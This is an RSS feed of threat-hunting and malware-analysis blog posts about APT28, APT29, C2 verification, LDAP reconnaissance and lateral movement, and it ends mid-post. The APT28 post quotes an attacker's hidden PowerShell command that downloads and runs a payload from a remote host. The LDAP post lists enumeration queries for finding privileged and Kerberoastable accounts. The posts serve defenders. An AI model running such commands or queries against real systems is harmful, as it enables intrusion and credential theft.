<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahdi hatami on Medium]]></title>
        <description><![CDATA[Stories by Mahdi hatami on Medium]]></description>
        <link>https://medium.com/@mahdihatami.k?source=rss-6f41318ac87a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yUz2sMK2W_FZ8zaU.jpg</url>
            <title>Stories by Mahdi hatami on Medium</title>
            <link>https://medium.com/@mahdihatami.k?source=rss-6f41318ac87a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:39:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mahdihatami.k/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Battle of the Shadows: APT Wars in C2 Takeovers and Payload Verification Tactics]]></title>
            <link>https://medium.com/@mahdihatami.k/battle-of-the-shadows-apt-wars-in-c2-takeovers-and-payload-verification-tactics-990a62443b7c?source=rss-6f41318ac87a------2</link>
            <guid isPermaLink="false">https://medium.com/p/990a62443b7c</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Mahdi hatami]]></dc:creator>
            <pubDate>Tue, 10 Dec 2024 12:26:57 GMT</pubDate>
            <atom:updated>2024-12-10T12:26:57.429Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*pfbttYnyjR-7ix27M56paA.png" /></figure><p><strong>Why APTs target other APTs’ infrastructure?</strong></p><ul><li><strong>Attribution Challenges</strong>:<br> Attacks by one APT group on another complicate the process of accurately attributing malicious activity. The use of hijacked infrastructure can mask the real source of an attack.</li><li><strong>Operational Advantage</strong>:<br> By compromising a rival group’s infrastructure, an APT can gain access to their tools, tactics, or stolen data.</li><li><strong>Geopolitical Dynamics</strong>:<br> These incidents illustrate the competitive and, at times, adversarial relationships between even state-sponsored groups within the same country.</li></ul><p><strong>Here are some notable instances where Advanced Persistent Threat (APT) groups have targeted the infrastructure of other APT groups:</strong></p><p><strong>Turla Hijacks habits:</strong></p><p>The Russian-speaking <strong>Turla APT</strong> hijacked the command-and-control (C2) infrastructure of the Iranian APT group <strong>OilRig (APT34)</strong>. Turla leveraged OilRig’s servers to distribute their own malware, effectively disguising their activities as those of the Iranian group.</p><blockquote>Reusing Andromeda malware to deploy the KopiLuwak and QuietCanary backdoors in 2022, as reported by Mandiant.</blockquote><blockquote>Using the backdoor of the Kazakhstan-based threat actor tracked by Microsoft Threat Intelligence as Storm-0473</blockquote><blockquote>Secret Blizzard compromising Storm-0156 infrastructure for espionage</blockquote><p><strong>APT28 Targets DarkHotel:</strong></p><p><strong>APT28 (Fancy Bear)</strong>, a Russian cyber-espionage group, reportedly targeted and compromised the infrastructure of the <strong>DarkHotel APT</strong>. DarkHotel is an espionage group known for its sophisticated attacks targeting specific hotel Wi-Fi networks.</p><p><strong>Bitter APT Attacks Transparent Tribe (2021):</strong></p><p>The South Asian <strong>Bitter APT</strong> group was observed targeting the infrastructure of <strong>Transparent Tribe (APT36)</strong>, a Pakistan-based group. Bitter APT likely sought access to Transparent Tribe’s tools or data for counter-espionage.</p><p><strong>Operation ShadowForce (2015):</strong></p><p>A Chinese-speaking APT, suspected to be associated with <strong>APT41</strong>, targeted and disrupted infrastructure linked to <strong>APT15 (Ke3chang)</strong>, another Chinese group. This internal targeting within the same country raised suspicions of espionage rivalry.</p><p>Some Advanced Persistent Threats (APTs) employ mechanisms to verify their payload’s integrity or authenticity using their Command and Control (C2) infrastructure. This approach ensures the payload is genuine, has not been tampered with, and is authorized for execution in a specific environment. Below are the methods APTs use to verify their payloads from a C2 server.</p><p><strong>Cryptographic Verification</strong></p><p>The C2 server sends a cryptographic signature (e.g., RSA or ECC) along with the payload or a hash of the payload.</p><p><strong>APTs Using This</strong>: Groups like APT29 (Cozy Bear) have used such methods to ensure payload integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LtB9WVjzoeC4KJp8Cn1jkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4nlseu2NVhBkzw6ZojOL8g.png" /></figure><p><strong>LunarLoader</strong></p><p>The execution chain begins with a loader that we have named LunarLoader. It uses RC4, a symmetric key cipher, to decrypt the path to the Stage 2 blob and reads an encrypted payload from it. To ensure that only one loader instance is active, it attempts to open and then create a <a href="https://learn.microsoft.com/en-us/windows/win32/ipc/about-mailslots">mailslot</a> with a unique name, instead of a common synchronization object such as mutex or event. It also creates a decryption key, derived from the MD5 hash of the computer’s DNS domain name, which it verifies. The payload is then decrypted using AES-256, resulting in a PE file. LunarLoader allocates memory for the PE image and decrypts the name of an exported function in the PE file, which is then run in a new thread. This function contains a <a href="https://attack.mitre.org/techniques/T1620/">reflective loader</a>.</p><p><strong>InvisiMole</strong></p><p>To place execution guardrails and encrypt the payloads individually per-victim, InvisiMole uses a Windows feature called Data Protection API (DPAPI), specifically:</p><ul><li>the CryptProtectData API for data encryption</li><li>the CryptUnprotectData API for data decryption</li></ul><p><strong>Dynamic Payload Validation</strong></p><p>· The payload is downloaded in encrypted form.</p><p>· The malware contacts the C2 server to retrieve a decryption key.</p><p>If the key is not provided, the payload remains nonfunctional.</p><p><strong>C2-Based Execution Whitelisting</strong></p><p>· The payload runs a verification routine to ensure it is authorized by the C2.</p><p>· The C2 sends a unique token or challenge-response code based on the victim system’s fingerprint (e.g., hostname, IP, hardware ID).</p><p>· Only if the payload passes the validation does the C2 deliver the operational commands.</p><p><strong>Stage Validation</strong></p><p>· The initial payload (stage 1) is lightweight and acts as a loader.</p><p>· It contacts the C2 to download and validate stage 2 or the actual malicious components.</p><p>· If the C2 does not confirm the environment, stage 2 is never delivered, rendering the loader benign.</p><p><strong>Payload Integrity Validation</strong></p><p>· The C2 server sends periodic heartbeat signals or checksum values.</p><p>· The malware verifies the payload’s integrity by comparing its current hash to the hash received from the C2.</p><p><strong>APTs Known for C2 Verification Techniques</strong></p><ul><li><strong>APT28 (Fancy Bear)</strong>: Uses encrypted payload delivery with C2 validation.</li><li><strong>APT29 (Cozy Bear)</strong>: Employs cryptographic checks for payload verification.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=990a62443b7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Actors Using ISO and Windows Shortcuts Instead of Macros. APT 29 Analysis.]]></title>
            <link>https://medium.com/@mahdihatami.k/threat-actors-using-iso-and-windows-shortcuts-instead-of-macros-apt-29-analysis-99d9021c2679?source=rss-6f41318ac87a------2</link>
            <guid isPermaLink="false">https://medium.com/p/99d9021c2679</guid>
            <dc:creator><![CDATA[Mahdi hatami]]></dc:creator>
            <pubDate>Fri, 19 Aug 2022 18:37:08 GMT</pubDate>
            <atom:updated>2022-08-20T07:10:14.059Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/">Palo Alto </a>have analyzed several<strong> spear-phishing</strong> campaigns linked with this APT29 that involve the usage of a <strong>side-loaded DLL</strong> through <strong>signed software</strong> (like <strong>Adobe suite) </strong>and <strong>legitimate webservices</strong> (like <strong>Dropbox, Google Drive)</strong> as communication vector for <strong>Command and Control</strong> (C2).</p><p>The campaign oddly consisted of two emails to the same target country a few hours apart. Both emails contained the same lure document named Agenda.pdf, which provided a link to an agenda for an upcoming meeting with an ambassador in Portugal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ITOWKfUqB4wNZ4x3.png" /></figure><p><strong>Threat Hunting</strong></p><h4>Malicious ISO Image</h4><p>When an attackers abuse ISO files, they need user interaction to achieve code execution. This action is often done by social engineering. The user have to double-click the ISO file and subsequently double-click the shortcut file, (in this case, Information.lnk). The ISO will mount and user will only see the shortcut by default (others are hidden)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*EEITkBvgOzCpnVnb.png" /></figure><p>Once double-clicked by the user and mounted by the operating system, the following is displayed to the user via Windows File Explorer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*eoOINcvqoL1Kciam.png" /></figure><p>You are able to determine the user mounted the ISO using the Event ID 12 in Microsoft-Windows-VHDMP-Operational.evtx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sETnP2l_S6OHTs_08viHow.png" /></figure><h4>Malicious lnk file</h4><p>lnk files were a good persistent techniques but now days we see lnk files as a part of initial access and execution phase. Sometimes lnk execution is tied up with lolbins like regsvr32. Once the shortcut file is double-clicked by the user, cmd.exe is used to execute agenda.exe in the current working directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*K_3FSB6SvKjGcuzURboTCg.png" /></figure><p>The /k parameter passed to cmd.exe instructs cmd.exe to carry out the execution and wait for agenda.exe to complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*XlhTScpS3d2A_AXzvjJJDw.png" /></figure><h4>Agenda.exe</h4><p>The campaign used a legitimate file which belongs to Adobe. It is digitally signed by Adobe. They used a digitally signed binary to evade SOC, AV and endpoint protection. But they used DLL Side Loading to to abuse the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*6dvuO07oRh7TAfVOjpslHA.png" /></figure><p>Agenda.exe has library dependency named Vcruntime140 which is Microsoft signed binary. Since it exists in the same directory as agenda.exe, Windows will load it, making the APIs it contains available to it. However, this file is not the legitimate Microsoft file, as it has been altered to load the actor’s malicious DLL, vctool140.dll. Hijacking a common library file, such as vcruntime140.dll, avoids obvious detection, as one would assume the file is legitimate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*vh0UOhMbSSiLwWq4I7N_iQ.png" /></figure><h4>Vctool140.dll — DLL loaded by vcruntime140.dll</h4><p>Vctool140.dll is the actor’s core file. It searches for a payload file named underscore (_), decompresses it in memory into a .Net x64 executable and loads it. The file compression algorithm is Microsoft Zip (MSZIP), which requires the dependency file of cabinet.dll. Cabinet.dll is a Microsoft Windows library that is used to decompress Windows cabinet files, and it is typically installed on all Windows operating systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*z4oALxN3txzapfb3a0kQiw.png" /></figure><p><strong>Persistent</strong></p><p>Attackers have put the malware into registry run key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*5bYyrEhMJPqFMnvJw89rvA.png" /></figure><p><strong>C&amp;C</strong></p><p>The binary is using <a href="https://developers.google.com/drive/api/guides/about-sdk">Google Drive API</a> to communicate with a Google account for uploads and downloads to a Google Drive share.</p><p><strong>Malware Analysis</strong></p><p>This malware was originally discovered and reported by <a href="https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/">Palo Alto</a>. In fact, this <a href="https://docs.microsoft.com/en-us/dotnet/standard/assembly/">.NET Assembly</a>, was Loaded in memory by Vctool140.dll, decompressed and finally executed using CLR <a href="https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/">[1]</a> <a href="https://0xpat.github.io/Malware_development_part_9/">[2]</a>. The task of this malware is to transfer basic information to the attacker and download the other payloads. To do that, it uses Google Drive API.</p><p><strong>Dumping .NET Assembly and PE Information</strong></p><p>We use <a href="https://github.com/wwh1004/ExtremeDumper">ExtremeDumper </a>to dump this .NET Assembly. The dumped binary, based on <a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header">File Header</a> was Compiled on 29.06.2022. Also PDB PATH <a href="https://www.mandiant.com/resources/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware">[1]</a> <a href="https://www.mandiant.com/resources/definitive-dossier-devilish-debug-details-part-deux-didactic-deep-dive-data-driven">[2]</a><a href="https://github.com/microsoft/microsoft-pdb"> [3]</a> exists in the binary and has not been removed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*sPXOmR73Ev5Y-JuzCS84Jw.png" /></figure><p><strong>Run Key for Persistence</strong></p><p>At first, if there is no (Registry) run key named AgendaE, it copies the following files to %AppData%, then will create a (Registry) run key for agenda.exe witch named AgendaE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*L4LiOvqf5Ntx7ANGQrE32w.png" /></figure><p><strong>Extracting Information from Victim</strong></p><p>Then it gets system information including user name, domain name, current processes and IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*94IfipCqgzdiSd5k3LKzzw.png" /></figure><p>The structure of this extracted information is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*YiKSp7LYExNlog7jyNw_JA.png" /></figure><p>It encrypts the extracted information using XOR and then encodes it using Base64. XOR key is encoded using Base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*ExByNUGET6NpVn2eDLfNAw.png" /></figure><p><strong>Uploading Information to Google Drive</strong></p><p>Finally, it uploads this information to Google Drive. The uploaded file has the format &lt;id&gt;.txt. ID is SHA256 of the user name in hexadecimal form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*jKvAXIC3-AaxSRBtDxxMWg.png" /></figure><p>After that, it has created a comment for the uploaded file with the current date. If there is already a comment, it would update the comment with new date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YEQ8qgEZ0FKwwxn2ZZIvUQ.png" /></figure><p><strong>Download and Executing Payload from Google Drive</strong></p><p>If a file exists for the current Id, it will download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*AFLG-565WxJHFVVOQjI_IA.png" /></figure><p>The malware decrypts the downloaded data using AES-CBC. The key and IV are hard-coded in the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*8MCFsrI96roHHl8JWXKGSQ.png" /></figure><p>The malware loads the downloaded payload into memory and executes it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*di-xCBuon0b9ypZX0Tmu0g.png" /></figure><p>Enjoy Hunting and malware analysis.</p><p>Mahdi and Ali</p><p><a href="https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/">https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99d9021c2679" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[APT 28 Threat Hunting and Malware Analysis]]></title>
            <link>https://medium.com/@mahdihatami.k/apt-28-threat-hunting-and-malware-analysis-82b095ba3ca2?source=rss-6f41318ac87a------2</link>
            <guid isPermaLink="false">https://medium.com/p/82b095ba3ca2</guid>
            <dc:creator><![CDATA[Mahdi hatami]]></dc:creator>
            <pubDate>Mon, 08 Aug 2022 07:22:44 GMT</pubDate>
            <atom:updated>2022-08-08T08:21:26.433Z</atom:updated>
            <content:encoded><![CDATA[<p>According to Malwarebytes In a recent campaign, APT28, an advanced persistent threat actor attributed to Russian intelligence, set its sights on Ukraine, targeting users with malware that steals credentials stored in browsers. APT28 (also known as Sofacy and Fancy Bear) is a notorious Russian threat actor that has been active since at least 2004 with its main activity being collecting intelligence for the Russian government.</p><p><strong>Initial Access</strong></p><p>The maldoc is a docx file (pretending to be a RTF file) . It uses a remote template embedded in the Document.xml.rels file to retrieve a remote HTML file from the URL <a href="https://www.virustotal.com/gui/url/9863b9b4ae9c555cd4dc30803000ea202f642a37321da2222fec9d51bce443b1">http://kitten-268.frge.io/article.html</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*D3KCZcpLe3yyVSvzThavEQ.png" /><figcaption>maldoc</figcaption></figure><p>The HTML file uses a JavaScript call to window.location.href to load and execute an encoded PowerShell script using the ms-msdt MSProtocol URI scheme. The decoded script uses cmd to run PowerShell code that downloads and executes the final payload:</p><pre>&quot;C:\WINDOWS\system32\cmd.exe&quot; /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command &quot;&amp; {iwr http://kompartpomiar.pl/grafika/SQLite.Interop.dll -OutFile &quot;C:\Users\$ENV:UserName\SQLite.Interop.dll&quot;;iwr http://kompartpomiar.pl/grafika/docx.exe -OutFile &quot;C:\Users\$ENV:UserName\docx.exe&quot;;Start-Process &quot;C:\Users\$ENV:UserName\docx.exe&quot;}&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJMoOiVbv7x4sDQY38jVRA.png" /><figcaption>ms-msdt payload</figcaption></figure><p><strong>Threat Hunting Malware Payload</strong></p><p>The Malware copies the stored credential and cookies in Firefox ,Chrome and Edge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*MNyoXh605XzButa-xcGKcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*0mwm-ohO-YNTsxu-VGPVeQ.png" /></figure><p>The credentials will save on disk to two file called CP and CC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*5CSDALhyIezS-vswPeC80w.png" /></figure><p>Then the malware loads SQLIte.Intero.dll to parse the SQLite database that is encrypted/protected with DPAPI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*yf2xclUkKzPLfayP6uykEw.png" /></figure><p>The Decryption done by DPAPI <a href="https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.protecteddata.unprotect?view=windowsdesktop-6.0">unprotect API</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*AMsfkt4bDhTozoJD8jM18w.png" /></figure><p>At the end you will see the connection to the C&amp;C to transfer the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*0QFdyVEDzDnr2rYUSOpemQ.png" /></figure><p><strong>Malware Analysis</strong></p><p>The malware looks for the credentials in AppData\Local\Google\Chrome\User Data\Default\Login Data and then save it to a file called CP. The Malware does not get a direct handle to the file, We think it’s because security products are aware that direct file access to this databases/files might be malicious or it can be locked during user operation with the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OpcPhU4E7Am64vk3N0LveA.png" /></figure><p>Google chrome saves credentials in a SQLite DB, because of that malware will connect to the DB and executes the following query to extract URL, Username and Password from the DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VDODJcEOlEBEGnDAe531xw.png" /></figure><p>From version 80 of Google Chrome username, passwords and cookies are encrypted with AES256-GCM. The key stored in local storage as DPAPI blob.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ogoLVXVXnNAbVORyDKjGrw.png" /></figure><p>In Firefox the credentials are stored in logins.json witch is encrypted by 3DES. Attacker will base64 encode the credentials for each profile and send it via mail to C&amp;C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*O8BIkdRbRtSrwh8zgPOmfA.png" /></figure><p>Then will extract the cookies from the following location.</p><p>%AppData%\Mozilla\Firefox\Profiles\&lt;profile&gt;\cookies.sqlite</p><p>You can see the attacker query for Firefox cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*M43HM51FQXx6qir0_RfHKQ.png" /></figure><p>Enjoy Hunting/Reversing:)</p><p>twitter: @mahdi_htm , @uroburos0x01</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82b095ba3ca2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting suspicious LDAP queries in tons of logs]]></title>
            <link>https://medium.com/@mahdihatami.k/hunting-suspicious-ldap-queries-in-tons-of-logs-432bb4c58918?source=rss-6f41318ac87a------2</link>
            <guid isPermaLink="false">https://medium.com/p/432bb4c58918</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ldap]]></category>
            <dc:creator><![CDATA[Mahdi hatami]]></dc:creator>
            <pubDate>Sun, 05 Jun 2022 05:21:08 GMT</pubDate>
            <atom:updated>2022-06-05T05:21:08.322Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Enumeration and Reconnaissance in AD Environment</strong></p><p>As a redteamer, we often get access to (or compromise) a client or server inside an Active Directory instance. From there, enumeration focusing on AD objects is a key step of the assessment. With this in mind, let’s discuss how to do that.<br>In general, our first goal is to determine if the domain we have compromised is part of a larger Active Directory infrastructure, and if it is, we should enumerate available objects. There are multiple ways to do this. The “old school” approach is to use the built-in nltest.exe and commands like that.<br>Lightweight Directory Access Protocol (LDAP) is one of the core protocols used for directory services. The primary function of LDAP is to enable folks to find data about users, groups, computers, and much more. It also provides the communication language that applications require to send and receive information from directory services, such as Active Directory. In overall, LDAP is the protocol to communicate within a directory service.</p><p><strong>Adversaries</strong> can use the LDAP protocol to perform reconnaissance and gather information that is stored within Active Directory to find attack paths and sensitive accounts with high-privileges. Discovering such kind of reconnaissance activities in an early stage will benefit defenders in stopping a potential intrusion.</p><p><strong>Ways to Perform the Attack</strong></p><ol><li>Powershell cmdlets like Get-ADForest from Active Directory module. For example the command bellow will get all of the domain controllers for all domains in a forest.</li></ol><pre>$AllDCs = (Get-ADForest).Domains | %{ Get-ADDomainController -Filter * -Server $_ }</pre><p>2. Using .Net methods in PowerShell. For example the command bellow will get Active Directory forest information</p><pre>[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Name</pre><p>3. Implement The .NET DirectorySearcher class, which can perform LDAP queries, can be initialized with a DirectoryEntry object from System.DirectoryServices DLL in your codes like C#.</p><pre> using System.DirectoryServices;<br> using System.DirectoryServices.ActiveDirectory;</pre><pre> static void LdapQuery(string domain, string query, string properties) {<br>      DirectoryEntry de = new DirectoryEntry(“LDAP://” + domain);<br>      DirectorySearcher ds = new DirectorySearcher(de);<br> }</pre><p>4. ADSI search. For example the command bellow will Eumerate all servers configured for Unconstrained Delegation.</p><pre>([adsisearcher]&#39;(&amp;(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl<br>:1.2.840.113556.1.4.803:=524288)))&#39;).FindAll()</pre><p><strong>The Challenges…!</strong></p><p>In LDAP queries we have tons of attribute but there is no official doc for that. Please see the <a href="https://docs.classic.secureauth.com/display/KBA/Active+Directory+Attributes+List">Active Directory Attributes List</a> page to understand LDAP attributes.</p><p><strong>Let’s enumerate AD users</strong></p><p>In the code bellow i will enumerate all the users in AD with a simple LDAP filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*hawVQo8GWu4ajeHvRcW2Zg.png" /></figure><p><strong>So Where is the Challenge?</strong></p><p>For detecting suspicious LDAP queries you have to follow some steps.</p><ol><li>First you need to know usefull LDAP queries in attacks</li><li>Enable auditing in object access and DS access</li><li>Enable LDAP Logging</li><li>Know what’s the noise.</li></ol><p><strong>we will start with known LDAP queries that use for enumeration</strong></p><blockquote>(&amp;(samaccounttype=268435456)) : All the security groups in AD</blockquote><blockquote>(&amp;(samaccounttype=268435457)) : All the non security groups</blockquote><blockquote>(&amp;(samaccounttype=536870912)) : All the groups in the Builtin container</blockquote><blockquote>(&amp;(samaccounttype=536870913)) : NON_SECURITY_ALIAS_OBJECT</blockquote><blockquote>(&amp;(primarygroupid=*)) : Contains the relative identifier (RID) for the primary group of the use</blockquote><blockquote>(&amp;(sAMAccountType=805306369) : All the machine accounts in AD</blockquote><blockquote>(!(UserAccountControl:1.2.840.113556.1.4.803:=2)) : All the accounts that are enabled in AD</blockquote><blockquote>(|(samAccountType=805306368)) : All the accounts in AD, including the one’s that are disabled</blockquote><blockquote>( (objectClass=domain) ) : All the domains</blockquote><blockquote>(&amp;(objectcategory=groupPolicyContainer)) : All the Group Policy Objects</blockquote><blockquote>(&amp; (objectcategory=organizationalUnit)) : All the organizational units</blockquote><blockquote>(&amp; (serviceprincipalname=*)) : All the accounts with a SPN</blockquote><blockquote>((&amp;(objectCategory=user)(servicePrincipalName=*))) : User Account with SPN, which uses for bruteforce TGS</blockquote><blockquote>(&amp;(adminCount=1)(objectClass=group))’).FindAll() : Enumerate sensitive AD groups</blockquote><blockquote>(objectCategory=computer)’).FindAll() : Enumerate all the computers</blockquote><blockquote>(groupType=-2147483646)’).FindAll() : Enumerate all global security groups</blockquote><blockquote>(&amp;(objectCategory=person)(objectClass=user)(!(userAccountControl<br>:1.2.840.113556.1.4.803:=2)))’).FindAll() :<strong> </strong>Enumerate all enabled accounts</blockquote><blockquote>(&amp;(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))’).FindAll() : Enumerate accounts with Kerberos Pre-Authentication disabled</blockquote><p><strong>Enable LDAP Auditing</strong></p><p>There are two ways that you can identify malicious LDAP activity.</p><ol><li>Unauthorized access to sensitive AD objects</li><li>Suspicious LDAP query</li></ol><p>You have to enable object access in advance policy for you critical AD objects (like admin account) to reduce the noise. First of all, let’s make sure that the AD environment is configured properly with the advanced logging policies enabled, that are required to accomplish this task. The only policy that is required to detect this enumeration process is the Directory service Access Audit policy. We can enable it on the domain controller by using the auditpol command as shown below:</p><p>Below is the command to enable the advanced auditing required for this:</p><pre>auditpol /set /subcategory:”Directory Service Access” /Success:Enable</pre><p>In my scenario i have enabled auditing for domain admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6Z04lZgOfQWwlO5JiopOA.png" /></figure><p><strong>Enable LDAP Logging</strong></p><p>You can log all LDAP queries on a given DC by setting the “15 Field Engineering” value to 5 which is under: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Diagnostics</p><p>Then create these DWORD values: “Expensive Search Results Threshold” and “Inefficient Search Results Threshold” and set them to 1, under: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters</p><p>This will result in an event generated in the Directory Services event log for every ldap query. Once finished you should delete the two DWORD values you created and set “15 Field Engineering” back to 0.</p><p>Here is the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*grBQQs1daco8CGYpocBFHw.png" /></figure><p><strong>Let’ Hunt</strong></p><p>I will enumerate user accounts in DC and I have to detect both object access and LDAP query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*hawVQo8GWu4ajeHvRcW2Zg.png" /></figure><p>As you see administrator account is in the result.</p><p>Now I have to look for object access event for my administrator account. As you can see bellow i can see that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*_oeLUFHLTw-yTxKkA31GLw.png" /></figure><p>Then we need to correlate that with a LDAP query that looks for my AD account. We reach the following event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*wlwTSZFawH8PxIxcK_mY4w.png" /></figure><p><strong>I hope you have enjoyed and thanks for your support.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=432bb4c58918" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attack and Hunting Lateral Movement with Service Control Manager(SVCCTL)]]></title>
            <link>https://medium.com/@mahdihatami.k/attack-and-hunting-lateral-movement-with-service-control-manager-svcctl-6424d3d41a0a?source=rss-6f41318ac87a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6424d3d41a0a</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[Mahdi hatami]]></dc:creator>
            <pubDate>Wed, 25 May 2022 12:49:43 GMT</pubDate>
            <atom:updated>2022-05-25T12:49:43.065Z</atom:updated>
            <content:encoded><![CDATA[<p>There are some lateral movement techniques that don&#39;t rely on vulnerabilities, like WMI, PsExec and Dcom. These methods require that services and files are written on the target system. Other techniques like PSRemoting or Winrm require ports to be open or whitelisted hosts.</p><p>We are going to implement a method with windows control manager which is one the best method.</p><p>In this section, we’ll leverage the attack by impersonating token the use it for lateral movement.<br>This technique involves two main tasks. First, our code must authenticate to the target host. Following that, it must execute the desired code. Authentication to the <strong>DCE/RPC</strong> interface and the service control manager<br>is handled by the unmanaged <a href="https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagera"><strong>OpenSCManager</strong></a> API.</p><h3>Let’s start with token impersonation</h3><p>Credentials, such as username and password combinations, are used for authentication, but the operating system also must keep track of the<br>user’s access rights, i.e. authorization. Windows uses access tokens to track these rights, and they are assigned to each process associated with the user.<br>In this section, we’ll discuss access tokens, and explore various ways we can leverage them for privilege escalation.</p><h3><strong>What is an Access Token</strong></h3><p>An access token is created by the kernel upon user authentication and contains important values that are linked to a specific user through the SID.<br> Access tokens are stored inside the kernel, which prevents us from directly interacting with the token or modifying it.<br>As red teamer, we’ll focus on two concepts relating to the access token, specifically integrity levels and privileges. Windows defines four integrity levels, which determine the level of access: low, medium, high, and<br>system. Low integrity is used with sandbox processes like web browsers. Applications executing in the context of a regular user run at medium integrity, and administrators can execute applications at high integrity. System is typically only used for SYSTEM services. It’s not possible for a process of a certain integrity level to modify a process of higher integrity<br>level but the opposite is possible. This is done to prevent trivial privilege 